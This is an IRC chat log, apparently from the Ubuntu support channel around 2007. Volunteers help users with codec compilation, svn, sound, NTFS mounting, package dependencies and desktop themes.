[02:35] <whyameye> Pnquin007: I would try to find from Google exactly what chipset is in your sound card, then do some google searches for that chipset with "alsa" or "dapper" and find out how other people solved this.
[02:35] <malek> SHEESH!
[02:35] <fasm_erx_CC2_> jrib: svn co
[02:35] <Ahorner> !tell Ahorner about xfg
[02:35] <PriceChild> malek, the point is... in ubuntu we don't use root. We use sudo.
[02:35] <malek> McQueen: okay, done that?
[02:35] <McQueen> malek: i unzip the file then copied to /usr/local/lib/codecs/
[02:35] <nalioth> Ahorner: join me in #ubuntu-classroom please
[02:35] <fasm_erx_CC2_> jrib: and in the trunk/folder
[02:36] <Ahorner> !tell Ahorner about scrnres
[02:36] <Pnquin007> whyameye, i've tried, but no success...
[02:36] <jrib> fasm_erx_CC2_: in your HOME directory I assume?
[02:36] <malek> PriceChild,: no offence, but you're about 5 minutes behind the argument!  I know what you're saying, I was just making a technical point...
[02:36] <whyameye> Pnquin007: so what is the chipset?
[02:36] <kev_>  ntfs-config: Depends: libdbus-1-2 (>= 0.60) but it is not installable
[02:36] <kev_> E: Broken packages
[02:36] <kev_>  <<<anyone know what the problem is?
[02:36] <nalioth> !tell Ahorner about msg the bot
[02:36] <fasm_erx_CC2_> jrib: I'm cd's in the folder I want it to put the files
[02:36] <busfahrer> Hi. I have installed Kubuntu 6.10/i386. Whenever sound is played back, I get these distortions in the sound, the funny thing is they are dependent on, I think, CPU load. For example, I can 'create' the distortions by opening Firefox and grabbing the scrollbar and scrolling around. Any idea regarding this?
[02:36] <malek> McQueen: okay, now go to the mplayer directory and do "./configure"
[02:36] <fasm_erx_CC2_> Is that correct? Then I did the svn co .. command
[02:37] <fasm_erx_CC2_> cd'ed I mean
[02:37] <jrib> fasm_erx_CC2_: yes, do you have write permission to that directory?
[02:37] <seikai> McQueen: sudo configure;make;make install
[02:37] <Pnquin007> whyameye, ATI200x
[02:37] <spuck> Ok, so I'm putting in the livecd. Come to the ubuntu menu. Press install now or whatever it says. Then after the loader thingys my screen turns black and says: Attention Signal - Change video mode to 1280x1024.. What video mode is the installer in if my lcd cant even display it?
[02:37] <malek> once you've done that, let me know if it says anything especially bad (just copy and paste the tail end of the terminal ouput into that web page and gimme the url"
[02:37] <seikai> Do you make codecs?
[02:37] <fasm_erx_CC2_> jrib: Yes I'm logged as root
[02:37] <fasm_erx_CC2_> not sure if thats how you call it in linux
[02:37] <seikai> spuck: Probably 1024x768
[02:37] <McQueen> malek: sorry, before we create a tempfile... am i going to do something on it?
[02:37] <fasm_erx_CC2_> But i'm logged as admin
[02:38] <DanglyBits> how do i get wmv files to play with mplayer?
[02:38] <seikai> fasm_erx_CC2_: root is fine. There's no admin in linux, friend.
[02:38] <malek> McQueen: no need for another tempfile
[02:38] <jrib> fasm_erx_CC2_: what does this comand return:  whoami
[02:38] <Virtual> spuck just press F2 or whatever is the key to set a resolution before pressing Install now, that should resolve it
[02:38] <malek> just type ./configure
[02:38] <seikai> That is a Microsoft term.
[02:38] <Pnquin007> whyameye, cheap laptop :-(
[02:38] <whyameye> Pnquin007: isn't that the chipset of the mainboard but not of the sound card specifically?
[02:38] <seikai> Oh, snap.
[02:38] <spuck> seikai but that shouldnt give me signalattentions, only like way too big video modes
[02:38] <fasm_erx_CC2_> jrib: My name
[02:38] <spuck> Virtual ok ill try it out
[02:39] <McQueen> malek: haha this will seems be a joke but where is the mplayer directory :)
[02:39] <seikai> spuck: I'll be with you in a minute, my feisty iso just broke.
[02:39] <malek> McQueen: where you uncompressed mplayer silly ;-)
[02:39] <seikai> I want to find my backup on the desktop.. the cd snapped in two.
[02:39] <jrib> fasm_erx_CC2_: ok, so you aren't root
[02:39] <McQueen> malek: ok :)
[02:39] <seikai> Christ, I have to redownload this.
[02:39] <seikai> I deleted the iso, and the cd is broken
[02:39] <fasm_erx_CC2_> Oh really? lol. I did sude svn will that work?
[02:39] <seikai> :[
[02:39] <malek> McQueen: when you type ./configure you should see a whole bunch of output spilling down the screen
[02:39] <fasm_erx_CC2_> sudo I mean
[02:40] <fasm_erx_CC2_> But still the same
[02:40] <jrib> fasm_erx_CC2_: what does this command return:  pwd
[02:40] <Pnquin007> whyameye, Yes, but its all in one, i don't know, howto get identifier of soundcard only. lspci says: 00:14.2 Audio device: ATI Technologies Inc Unknown device 437b (rev 01)
[02:40] <fasm_erx_CC2_> home/myname
[02:40] <seikai> Hmm.. I have it in 'My documents' but it's not complete.
[02:40] <seikai> 300MB.. I can use the ftpd to complete it :D?
[02:40] <fasm_erx_CC2_> jrib: home/myname
[02:40] <McQueen> malek: its ok. do you want the log
[02:40] <McQueen> ?
[02:40] <seikai> It's still not the beta though, but I suppose it'll work.
[02:41] <malek> McQueen: yeah, why not
[02:41] <Anon2726> ya des francai ici?
[02:41] <McQueen> ok
[02:41] <jrib> fasm_erx_CC2_: then you should be fine with write permissions, your user can write to his $HOME.  So that's not the problem.  Does this happen to be a sourcefourge svn server?
[02:41] <seikai> malek: Do you run feisty?
[02:41] <fasm_erx_CC2_> jrib: Nop
[02:41] <malek> Anon2726: essai #ubuntu.fr
[02:41] <fasm_erx_CC2_> I tried the sourefourge one and worked though
[02:41] <malek> seikai: dapper
[02:41] <DGJ> !seveas > DGJ
[02:42] <kev_>  ntfs-config: Depends: libdbus-1-2 (>= 0.60) but it is not installable
[02:42] <seikai> malek: Oh cool.
[02:42] <timky>  I think I have an unusual problem if anyone here wants to try and help me...
[02:42] <jrib> fasm_erx_CC2_: do you have commit access to a project there so you could test it?
[02:42] <greg> hello, im trying to run realplayer but computer is saying i need to uninstall other software. what do i need to uninstall?
[02:42] <timky> Anyone with a valid shell account can login with any password they choose, or with no password at all if they like
[02:42] <seikai> timky: Speak of it.
[02:42] <McQueen> malek: http://paste.ubuntu-nl.org/11850/
[02:42] <malek> McQueen: why do you ask?
[02:42] <fasm_erx_CC2_> jrib: Yes I have
[02:42] <timky> I've checked and double checked both my vsftpd.conf and pam.d configs but I can't see anything unusual in either
[02:42] <timky> I just don't know what I@m missing :(
[02:42] <seikai> greg: What does it say you should reinstall?
[02:43] <_Jaak_> How do i get deskbar to find files, i have it checked in prefrences  but it doesnt find files
[02:43] <jrib> fasm_erx_CC2_: and the password there fails as well?
[02:43] <timky> anon users are blocked, and non shell accounts can't login, but anyone with the correct username can login no matter what password they use
[02:43] <malek> McQueen: ignore that -  I was talkign to someone else and used your name by accidnet!
[02:43] <fasm_erx_CC2_> jrib: I cannot commit right now. No files currently
[02:43] <Ahorner> what opens a .run
[02:43] <greg> it doesnent, but im thinking its totem, when i try to uninstall totem, it will not uninstall
[02:43] <McQueen> malek: ok
[02:43] <jrib> fasm_erx_CC2_: make something up just to test
[02:43] <McQueen> malek: what is the nest step now
[02:43] <seikai> Ahorner: Hmm... try executing it in your terminal.
[02:44] <malek> seikai: why do you ask?
[02:44] <PriceChild> Ahorner, ./name.run
[02:44] <Ahorner> mmk
[02:44] <seikai> malek: Why do I ask what?
[02:45] <arabppp> czesc
[02:45] <Ahorner> whats the dir
[02:45] <Ahorner> its on my desktrop
[02:45] <Ahorner> lol
[02:45] <PriceChild> Ahorner, what file is it?
[02:45] <Ahorner> ati driver
[02:45] <Ahorner> ati-driver-installer-8.34.8-x86.x86_64.run
[02:45] <fasm_erx_CC2_> jrib: How do you make up a test one?
[02:45] <malek> McQueen: okay, now type make in the mplayer directory.
[02:45] <Serge_K> so whats with LTSP?.... seeking a close soul who has and experiense:)
[02:46] <PriceChild> Ahorner, probably best you follow a guide to install that
[02:46] <PriceChild> !ati | Ahorner
[02:46] <ubotu> Ahorner: To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto
[02:46] <Ahorner> k
[02:46] <malek> McQueen: this will take a while.
[02:46] <SeaWo1f> hi, im trying to do an install from my hd. I downloaded the vmlinuz and initrd from the archive and the 6.10 iso and editted grub to boot the installer and everything works fine up untill it goes to find the install iso.. anyone know when the iso search might fail?
[02:46] <timky> Can anyone help me out?
[02:46] <McQueen> malek: its working...
[02:46] <arabppp> jak tu zaistalowac jakis program??? to moj 1 pierwszy linux
[02:46] <malek> McQueen: meanwhile, unistall mplayer that you've already installed.
[02:46] <malek> McQueen: then once that's all done, in the mplayer directory type "sudo make install"
[02:46] <jrib> fasm_erx_CC2_: just create a blank file, svn add it, and try to do a commit
[02:47] <malek> then, fingers crossed, it should work...
[02:47] <aoupi> hi, what's name of the manpath variable?
[02:47] <fasm_erx_CC2_> jrib: Okay
[02:47] <malek> I'm gonna leave the computer for a while but I'll be back in 20-30 mins.
[02:47] <spuck> Virtual seikai Well changed tp 640x480-16 and now the loading screen is at the left bottom corner and a bit outside the screen. :P and only black picture with lots of dark red dots. :/
[02:47] <malek> Meanwhile , make a not of this webpage:
[02:47] <McQueen> malek: how can i uninstall it? from aplications - add / remove ?
[02:47] <jrib> auge02: umm, you mean $MANPATH?  What do you mean exactly?
[02:48] <malek> McQueen: do "sudo apt-get uninstall mplayer"
[02:48] <aoupi> nevermind, I found /etc/manpath.config
[02:48] <malek> McQueen: make a note of this page http://ubuntuforums.org/showthread.php?t=187709
[02:48] <seikai> spuck: sucks.. what ver is this?
[02:48] <malek> McQueen: If you follow their instructions you will have a more complete installation.
[02:49] <fasm_erx_CC2_> jrib:Can't open file '.svn/entries'
[02:49] <c0kr0_JACKPOT> wow
[02:49] <spuck> seikai 6.10 just downloaded it and burned it
[02:49] <c0kr0_JACKPOT> indonesian
[02:49] <tabbot> HELP: is there a backport of alsa 1.0.13 to edgy?? ty
[02:49] <kingcobra> what could be causing ubuntu 2 hav problems booting up after user logs in
[02:49] <McQueen> malek: thanks... i am waiting you for your turn back
[02:49] <malek> McQueen: I didn't want to do it all in case it didnt' work, but you might like to follow their instructions now that you know the basic process
[02:49] <thezenmaster> hey! I need help in installing edgy on RAID0
[02:49] <seikai> spuck: :o
[02:49] <kingcobra> the gui is more basic after it gets thru also
[02:49] <malek> McQueen: also, you'll want to upgrade your sources as soon as you can in order to make sure there are no security issues.
[02:50] <seikai> I'm not sure I could assist.
[02:50] <malek> McQueen: it should be fine, but it doesn't hurt to play it safe.
[02:50] <seikai> It's a peculiar problem, try checking the forums.
[02:50] <kingcobra> i hav this error http://paste.ubuntu-nl.org/11851/
[02:50] <MonaLeilani> hi
[02:50] <jrib> fasm_erx_CC2_: heh more errors eh?  Join me in #ubuntu-classroom
[02:50] <MonaLeilani> I moved my ubuntu partition to the front of the disk by copying it to the first partition and then deleting the second
[02:50] <Frogzoo> !raid | thezenmaster
[02:50] <malek> McQueen: okay, when you're done compiling (and taking in the beautiful cascade of code down the screen...) type "mplayer <filename> and see how it goes.
[02:50] <ubotu> thezenmaster: Tips and tricks for RAID and LVM can be found on https://help.ubuntu.com/community/RaidConfigurationHowto and http://www.tldp.org/HOWTO/LVM-HOWTO
[02:50] <MonaLeilani> only the first is using much more space then my 2nd one did
[02:50] <McQueen> malek: E: Invalid operation uninstall
[02:51] <malek> McQueen: should play without a problem
[02:51] <kingcobra> seikai, are you talkin 2 me
[02:51] <MonaLeilani> should only be using 7.5gb of the first partition, it's using 16
[02:51] <ubuntu> fdsafs
[02:51] <ubuntu> mount: you must specify the filesystem type
[02:51] <ubuntu> mount: you must specify the filesystem type
[02:51] <ubuntu> this is on mount
[02:51] <kingcobra> seikai, hating x problems
[02:51] <malek> McQueen: sorry, ti should be "remove" instead of "uninstall
[02:51] <seikai> kingcobra: Hmm.. I don't think so :\
[02:51] <ubuntu> hey someone see that mount: you must specify the filesystem type
[02:51] <effie_jayx> @automatix
[02:51] <ubuntu> the image is mdf
[02:51] <MonaLeilani> why would it do this?
[02:51] <kingcobra> seikai, ok
[02:51] <Serge_K> thezenmaster: what exactly do you want to know?
[02:51] <seikai> ubuntu: Yes, that happens sometimes.
[02:51] <fasm_erx_CC2_> jrib: you serious?
[02:51] <seikai> ubuntu: modify your /etc/fstab
[02:51] <kingcobra> can some body help me with booting up problem
[02:51] <ubuntu> seikai i have another mdf image and the problem there didn't have problem
[02:52] <malek> McQueen: okay, I'm gonna go for a bit.
[02:52] <ubuntu> seikai ????
[02:52] <seikai> ubuntu: Perhaps the cd is faulty :)
[02:52] <malek> McQueen: enjoy the compilation!
[02:52] <McQueen> malek: ok thanks
[02:52] <ubuntu> seikai it is image
[02:52] <tabbot>  is there a backport of alsa 1.0.13 to edgy??
[02:52] <ubuntu> seikai it is mdf image in WIndows this image work
[02:52] <McQueen> malek: i will wait you i there will be a problem
[02:52] <McQueen> malek: i will wait you if there will be a problem
[02:52] <seikai> ubuntu: Perhaps Linux is faulty.
[02:52] <seikai> :)
[02:53] <ubuntu> seikai heheh
[02:53] <ubuntu> seikai then why everybody have UBUNTU
[02:53] <ubuntu> and perhaps you are faulty Seikai
[02:53] <Frogzoo> MonaLeilani: sometimes you have files with big chunks of zero data that don't take up space until you copy them
[02:53] <seikai> ubuntu: Because everyone else doesn't have such problems ;)
[02:53] <seikai> ubuntu: Perhaps, but I don't have the mdf problem you see..
[02:53] <MonaLeilani> Frogzoo: okay.. Is there any way to fix it?
[02:53] <ubuntu> seikai or maybe you don't know how to repair this problem
[02:53] <kingcobra> hello can somebody tell me why my ubuntu isnt loading its gui properly
[02:53] <PriceChild> !mdf2iso | ubuntu
[02:53] <ubuntu> seikai man you have much problem
[02:53] <ubotu> ubuntu: mdf2iso: A simple utility to convert mdf to iso / cue / toc images. In component universe, is optional. Version 0.3.0-0ubuntu2 (edgy), package size 6 kB, installed size 60 kB
[02:54] <Frogzoo> MonaLeilani: not sure
[02:54] <seikai> ubuntu: You're being quite rude, friend.
[02:54] <seikai> Embrace your problem, and attempt to solve it yourself.
[02:54] <ubuntu> seikai you are rude.
[02:54] <Ahorner> somebody type: vncviewer andy-desktop:0
[02:54] <ubuntu> PriceChild: ???? this is convert?
[02:54] <Frogzoo> !patience
[02:54] <ubotu> The people in this channel are volunteers. Your attitude will determine how fast you are helped. See also http://wiki.ubuntu.com/IrcGuidelines
[02:54] <PriceChild> ubotu, easier to convert it to iso to mount afaik
[02:54] <ferronica> Is there any channel where i can talk about Themes
[02:54] <seikai> Frogzoo: Thanks.
[02:54] <Arko> i added a repository - http://ubuntu.compiz.net - but can't resolve it. Is there any substitute?
[02:55] <seikai> ferronica: Gnome themes?
[02:55] <MonaLeilani> it's just strange because it only took up 7.5 / 11.49 gb and now it's taking up 16.5 / 23 gb
[02:55] <seikai> Or what sort..
[02:55] <Andeh> Hello
[02:55] <albacker> has anyone seen that in feisty ctrl+ [left|right]  arrow gives ;2D and ;5C  ? how do i resolve this ?! anybody has an idea ?
[02:55] <ferronica> seikai: yes, can talk here??
[02:55] <PriceChild> Arko, #ubuntu-effects and that's a VERY old repo
[02:55] <ibob63> just restarted my computer and it says that I have inconstencies on the hard drive and need to run fsck manually. can anyone tell me the command to do this?
[02:55] <ferronica> seikai: If allowed
[02:55] <ferret_0568> Dunno, just one theme I would recommend is Murrina Fruits, for a full-fledged discussion, go somewhere else
[02:55] <Frogzoo> albacker: -> #ubuntu+1
[02:55] <seikai> ferronica: I'd suggest hanging out in #gnome ;)
[02:55] <nalioth> eltech: join #ubuntu+1 please for feisty problems
[02:55] <Andeh> Is there some kind of program that can do lots of stuff with isos like burn, make them, mount them, etc?
[02:55] <Andeh> Like the program Alcohol 120% on windows.
[02:55] <kingcobra> seikai, do u kno why there cud be a problem loading gui in ubuntu for me
[02:55] <nalioth> Andeh: k3b
[02:55] <seikai> ferronica: If you have anything specific, you could ask me?
[02:55] <Frogzoo> Andeh: k3b
[02:55] <ferronica> seikai: ok thanx
[02:56] <cliebow>   ibo63:e2fsck /dev/hda1..assuming your install is there
[02:56] <ferronica> seikai: Kool :)
[02:56] <Andeh> nalioth: Thanks. Frogzoo: Thanks
[02:56] <Andeh> What else can it do?
[02:56] <seikai> kingcobra: What sort of problem are you experiencing?
[02:56] <ferret_0568> k3b is awesome!
[02:56] <MonaLeilani> Does anyone know how I could get ready of this empty data that's somehow taking up space?
[02:56] <ferronica> seikai: Can you suggest me a good Theme and Icon theme???
[02:56] <Arko> PriceChild : noone knows about a substitute there... do you know a new one?
[02:56] <seikai> MonaLeilani: I don't think it's empty data..
[02:56] <cliebow> ibob63, e2fsck /dev/hda1..assuming your install is there
[02:56] <ubuntu> MonaLeilani: what is the problem
[02:56] <seikai> ferronica: www.gnome-look.org has some good ones.
[02:56] <ferronica> seikai: and something to make my ubuntu very Kool and preety
[02:56] <PriceChild> Arko, #ubuntu-effects for compositing please
[02:56] <ferret_0568> me, NouveXT, Murrina Fruits
[02:56] <ibob63> cliebow. thanks I give it a try
[02:56] <MonaLeilani> I moved my ubuntu partition to the front of the disk by copying it to the first partition and then deleting the second
[02:57] <MonaLeilani> only the first is using much more space then my 2nd one did
[02:57] <ferret_0568> Yeah, gnome-look is great
[02:57] <Arko> okay... sowee
[02:57] <epl> MonaLeilani: how did you move it?
[02:57] <seikai> ferronica: I'd definitley go there. You should try beryl too if you haven't got it.
[02:57] <MonaLeilani> it's just strange because it only took up 7.5 / 11.49 gb and now it's taking up 16.5 / 23 gb
[02:57] <MonaLeilani> I used dd
[02:57] <Frogzoo> !themes | ferronica
[02:57] <ubotu> ferronica: Find your themes at: http://www.gnome-look.org - http://art.gnome.org - http://www.kde-look.org - http://themes.freshmeat.net/browse/58/ - http://www.guistyles.com - https://wiki.ubuntu.com/Artwork/ - Also see !changethemes and https://help.ubuntu.com/community/UbuntuEyeCandy
[02:57] <ubuntu> MonaLeilani: ok and
[02:57] <Andeh> Hello, my friend just installed Edgy 6.10 And he cant find his NTFS partition because he skipped or ignored something about mounting while installing it.
[02:57] <larson9999> linux rocks!
[02:57] <MonaLeilani> That's not right, it shouldn't use that much space
[02:57] <kingcobra> seikai, after i login ubuntu stalls for long time before loading a basic gui insted of the default which i had previously and gives an error msg
[02:57] <nalioth> !tell Andeh about ntfs
[02:57] <jaakkos> what program can i use to record from microphone in xubuntu? just want to test my microphone.
[02:57] <PriceChild> !ntfs | Andeh
[02:57] <MonaLeilani> it should be 7.5gb like it was before
[02:57] <PriceChild> bah
[02:57] <ubotu> Andeh: To view your Windows/Mac partitions see https://help.ubuntu.com/community/AutomaticallyMountPartitions . For write access see !ntfs-3g or !fuse
[02:57] <ferronica> seikai: I tried many didint found any good Icon theme
[02:57] <Andeh> ok thanks
[02:57] <epl> MonaLeilani: you are right it should.. ;)
[02:57] <kingcobra> seikai, http://paste.ubuntu-nl.org/11851/ thats the error it gives
[02:58] <seikai> ferronica: hmm.. you could make themes?
[02:58] <Andeh> I'll send him the link when hes online
[02:58] <seikai> There's a guide on the art.gnome.org site
[02:58] <ferronica> seikai: my self
[02:58] <ubuntu> MonaLeilani: and the second partition do you format him.
[02:58] <ferronica> seikai: Is it possible???
[02:58] <Andeh> How come my Breezy install doesnt ask about mounting?
[02:58] <larson9999> breezy :)
[02:58] <MonaLeilani> I deleted that partition because Ubuntu is on the first now
[02:58] <seikai> ferronica: Course it is, it takes some time to become good, but you'd learn.
[02:58] <seikai> You can make your own specific icons/themes. :)
[02:58] <Andeh> i upgraded to edgy but the breezy instasller didnt say anything about mounting and it went automatically
[02:58] <MonaLeilani> not formatted yet
[02:59] <ferronica> seikai: how can i learn?? any book
[02:59] <ferronica> seikai: from site???
[02:59] <goldzahn> how to get amarok's job id
[02:59] <ubuntu> (06:58:23 AM) PriceChild: Please don't attack other users
[02:59] <ubuntu> (06:58:55 AM) ubuntu: (06:52:04 AM) ubuntu: seikai ????
[02:59] <ubuntu> (06:58:55 AM) ubuntu: (06:52:09 AM) devcoder [n=cybersrs@200.181.210.47]  entered the room.
[02:59] <ubuntu> (06:58:55 AM) ubuntu: (06:52:12 AM) seikai: ubuntu: Perhaps the cd is faulty :)
[02:59] <ubuntu> (06:58:56 AM) ubuntu: ???
[02:59] <ubuntu> (06:59:04 AM) ubuntu: Ooooo man don't speak for attack
[02:59] <ubuntu> (06:59:07 AM) ubuntu: he first start
[02:59] <ubuntu> that is the problem
[02:59] <ubuntu> lets everybody see this.
[02:59] <kingcobra> what do ya think seikai
[02:59] <epl> ubuntu: please stop
[02:59] <PriceChild> ubuntu, pm please
[03:00] <epl> ubotu: take it to #ubuntu-offtopic or whatever
[03:00] <kev_> !ntfs-3g
[03:00] <ubotu> ntfs-3g is is a Linux driver which allows read/write access to NTFS partitions. It has been extensively tested but please remember to keep backups of critical data. Installation instructions at http://lunapark6.com/?p=1710 (Dapper) and http://ubuntuforums.org/showthread.php?t=217009/ (Edgy)
[03:00] <seikai> kingcobra: You probably messed up a depedency of gnome.
[03:00] <seikai> Did you upgrade/uninstall some dependency?
[03:00] <kingcobra> seikai, how wud i fix it
[03:00] <seikai> Like dbus perhaps
[03:00] <Adamantinus> What do I do in terms of getting fonts into Ubuntu? I have a whole bunch of fonts I want to copy to ubuntu, where do I drop them and is there a command for it?
[03:00] <seikai> Well, that depends on what you've done.
[03:00] <seikai> Welcome back, ferronica
[03:00] <goldzahn> how to get amarok's job id
[03:00] <Daverocks> goldzahn: process id or job id?
[03:00] <kingcobra> seikai, how do i find out what ive done
[03:01] <ferronica> seikai: why i disconnected???
[03:01] <ferronica> seikai: :)
[03:01] <Daverocks> goldzahn: "pidof amarokapp" for the process id
[03:01] <seikai> kingcobra: You can cat .bash_history? if you used the terminal to bork something..
[03:01] <seikai> ferronica: I don't know, friend.
[03:01] <Daverocks> goldzahn: you could type "jobs" in bash to see your jobs, but i doubt that's what you're referring to
[03:01] <Andeh> I am curious. Linux is great, efficient, fun and faster than windows and better in many more ways, AND it is free.
[03:01] <Andeh> Why the hell doesnt everyone use linux?
[03:01] <Daverocks> Andeh: many reasons
[03:01] <Andeh> Like?
[03:01] <seravitae> not everyone is interested in building thier car from scratch
[03:01] <Adamantinus> The end user would DIE trying to figure this out.
[03:02] <seravitae> i use linux. i have a mechanic.
[03:02] <Daverocks> Andeh: it doesn't come installed on PCs you buy from a store
[03:02] <Frogzoo> Andeh: -> #ubuntu-offtopic
[03:02] <seravitae> some people use windows, and can fix thier cars.
[03:02] <Serge_K> Andeh: coz they're obsessed
[03:02] <Andeh> Oh
[03:02] <Adamantinus> Consider your average user has basic understanding of copy, paste, setting up Outlook, etc.
[03:02] <Andeh> That makes more sense
[03:02] <Andeh> I mean mine didnt come with the pc either
[03:02] <Andeh> lol
[03:02] <Adamantinus> A lot of people don't know much about how to use Windows, they click a button, it goes on the net for them.
[03:02] <Daverocks> Andeh: people don't care about OSes. they don't know what an OS is. they just use what they think is their computer
[03:02] <Andeh> ok im gonna go into offtopic now
[03:02] <Serge_K> Andeh: come into the circle
[03:02] <ompaul> Andeh, it is offtopic for here
[03:02] <Adamantinus> Daverocks put it well.
[03:02] <ompaul> !offtopif
[03:02] <ubotu> Sorry, I don't know anything about offtopif - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[03:02] <ompaul> !offtopic
[03:02] <ubotu> #ubuntu is the Ubuntu support channel, #ubuntu+1 supports the development version of Ubuntu and #ubuntu-offtopic is for random chatter. Welcome!
[03:03] <Andeh> Serge_K: What?
[03:03] <gyates> I cannot get my Broadcom (BCM4306 802.11b/g Wireless LAN) wireless to work on my laptop.  It shows up in the device manager and I have tried all the wireless tools through the add/remove program.  It appears the hardware just doesn't turn on.
[03:03] <Daverocks> Adamantinus: thanks ;)
[03:03] <Andeh> Ok i am going to offtopic now. What did you mean, Serge_k?
[03:03] <Serge_K> Andeh: a sircle of obcessed
[03:03] <Andeh> Oh
[03:03] <Andeh> lol
[03:03] <Andeh> bye
[03:03] <Ahorner> yay my resolution works right
[03:03] <whyameye> gyates: I had to use ndiswrapper for BCM4306
[03:04] <Ahorner> is there something like an internet explorer for unix (not firefox)
[03:04] <Serge_K> Andeh: you need a rhythm
[03:04] <j^> hi, i have a problem
[03:04] <Andeh> Rythm??
[03:04] <Daverocks> Ahorner: not really. konqueror looks a bit more like IE than firefox... if you like :P
[03:04] <ferronica> seikai: how to mount my window Xp pro partition in ubuntu???
[03:04] <j^> i have an ubuntu box that does not have internet
[03:04] <Serge_K> Andeh: yep
[03:04] <j^> i now want to install a package from universe
[03:04] <Andeh> What you mean rythm?
[03:04] <gyates> Is that an application or driver?  Where can I find it?
[03:05] <Serge_K> Andeh: mean, your life
[03:05] <seikai> Hmmm, ferronica, ubuntu should've mounted it if you installed winxp first.
[03:05] <goldzahn> Daverocks: now there are two id
[03:05] <j^> whats the best way to get a package from universe and all its dependencies from the net to put it on a cd / usb disk?
[03:05] <seikai> What does your /etc/fstab read?
[03:05] <Daverocks> goldzahn: uh? is this the pidof?
[03:05] <ferronica> seikai: but i cant access it, showing me hdd
[03:05] <Ahorner> i like cheese
[03:05] <ferronica> seikai: i just wanna to play some songs from it
[03:06] <whyameye> !ndiswrapper
[03:06] <ubotu> Wireless documentation can be found at https://help.ubuntu.com/community/WifiDocs
[03:06] <ferronica> seikai: they are in winXp
[03:06] <goldzahn> Daverocks: $ pidof amarokapp
[03:06] <goldzahn> 25044 24838
[03:06] <seikai> ferronica: You should be able to access it. Or read this "http://www.debianadmin.com/mount-your-widows-partitions-and-make-it-readwritable-in-ubuntu.html"
[03:06] <Daverocks> goldzahn: hm
[03:06] <seikai> You really should research before asking in irc.
[03:06] <seikai> It does everyone a lot more good ;)
[03:06] <ompaul> j^, so go bring machine to interenet that was what it was meant for, or put the .deb from another machine onto a cd or something and carry it to other machine and there in try "dpkg -i package-name.deb"  get the package with a web browser from your local download site
[03:07] <whyameye> gyates: try https://help.ubuntu.com/community/WifiDocs/Driver/bcm43xx
[03:07] <ferronica> seikai: i am using ubuntu 6.06 LTS Dapper drake
[03:07] <j^> ompaul: waiting for the internet connection, but have to get the box running now
[03:07] <seikai> ferronica: Hmm.. You should upgrade! :P
[03:07] <ompaul> J^ I just told you how to do it
[03:08] <Andeh> Its Long Term support so most people dont feel like upgrading
[03:08] <ferronica> seikai: but some guys told no need to update it supported for 3 years
[03:08] <ferronica> seikai: no need to upgrade
[03:08] <j^> ompaul: the problem is that its not just one package but its dependencies too, just hoped there would be an easy way to get one package and all its dependencies via a simple script to put it on a cd
[03:08] <seikai> ferronica: best to stay on top of things..
[03:08] <ompaul> j^, got a second ubuntu box?
[03:09] <ompaul> j^, so take the packages one at a time and when it says I need X then go get that also
[03:09] <j^> ompaul: that too yes, with the packages installed
[03:09] <ferronica> seikai: which one is latest , how to upgarde without formatting
[03:09] <j^> i dont want to take one at a time, that was my point
[03:09] <ompaul> j^, apt-cache show package-name
[03:09] <seikai> !upgrade
[03:09] <ubotu> For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes
[03:09] <Ahorner> is there any apps i really need that are superuseflu for ubuntu?
[03:09] <Ahorner> useful*
[03:10] <whyameye> I think it is *not* acceptable answer to tell ferronica to upgrade from dapper to edgy to fix his problem reading a WinXP Pro partition. Dapper supports this.
[03:10] <seikai> !upgrade ! ferronica
[03:10] <McQueen> malek: r u there?
[03:10] <j^> ompaul: recursive dependencies?
[03:10] <kingcobra> seikai, i stil dont kno how  to fix gui problem, any ideas
[03:10] <seikai> whyameye: I'm not saying that it's an acceptable answer because of reading a fat/ntfs partition.
[03:10] <seikai> I'm simply saying it's good to update.
[03:10] <seikai> kingcobra: No.
[03:10] <jrib> Ahorner: that really depends on what you typically use your computer for
[03:10] <kingcobra> ok
[03:10] <seikai> Gnome is broken.. I'm not sure what you've done, so I can't help you.
[03:10] <whyameye> seikai: I'd rather have the 3 year support for my machines. I tried edgy on one of them and had all sorts of problems.
[03:10] <nalioth> seikai: this is linux, if the system is working, there is no reason to upgrade
[03:10] <ferronica> seikai: so there is no way to mount my my win xp
[03:11] <seikai> whyameye, I also gave ferronica a link.
[03:11] <nalioth> !tell ferronica about ntfs
[03:11] <seikai> ferronica: There are ways, I gave you a link.
[03:11] <seikai> http://www.debianadmin.com/mount-your-widows-partitions-and-make-it-readwritable-in-ubuntu.html
[03:11] <seikai> nalioth: As I said, it's good to stay on top of things.
[03:11] <seikai> Well I like to stay on top of things.
[03:12] <ompaul> j^, you might have to do a little more work but for fun and learning do apt-cache show ubuntu-desktop
[03:12] <FReDy_> :P
[03:12] <HugoCalleja> Hi
[03:12] <seikai> Hello.
[03:13] <HugoCalleja> does anybody know about bluetooth and edgy eft?
[03:13] <coldfish> hi. can anybody help me about beagle?
[03:13] <HugoCalleja> alsa audio bluetooth specifically
[03:13] <j^> ompaul: im using linux for many years, i know apt-cache, my question was if there is an easy way to get a package with all its dependencies from the net, so far the answer is: no
[03:15] <ompaul> j^, you have said that you have two machines, with the second with having all the required packages so tar cvf foo.tar var cache apt archives and move the lot of them over do a dpkg -i yourfavoritepackage.deb and it will pull from the stuff that is there - want to do updates also look at apt-zip
[03:17] <j^> ompaul: the seonds is not a new installation it just has the packages installed, not just installed,
[03:19] <malek> McQueen: back
[03:19] <malek> McQueen: how did you go?
[03:19] <kev_> im trying to instal ntfs-config through the synaptic thing but i get an errors saying Depends: libdbus-1-2 (>=0.60) but it is not installable can anyone help??
[03:19] <ibob63> just run fsck /dev/sda1 and it says that there are illegal blocks - should I clear them?
[03:20] <sacater> wow 5 join at oce
[03:20] <sacater> once
[03:20] <Ahorner> i dont think my sound is working
[03:20] <Ahorner> its not muted
[03:20] <wilberfan> why does this gpg command just lay in my terminal window without finishing??:
[03:20] <wilberfan> wget http://ubuntu.beryl-project.org/root@lupine.me.uk.gpg -O- | sudo apt-key add -
[03:21] <slight> can anyone tell me which startup scripts the 'failsafe gnome' option in gdm bypasses?
[03:21] <Ahorner> !tell ahorner about sound
[03:21] <jrib> wilberfan: did you enter your password?
[03:22] <slight> it seemts to be built in to gdm rather than a different session
[03:22] <wilberfan> jrib you mean did i run it as root, or...?
[03:22] <jrib> wilberfan: that command should eventually prompt you for a password
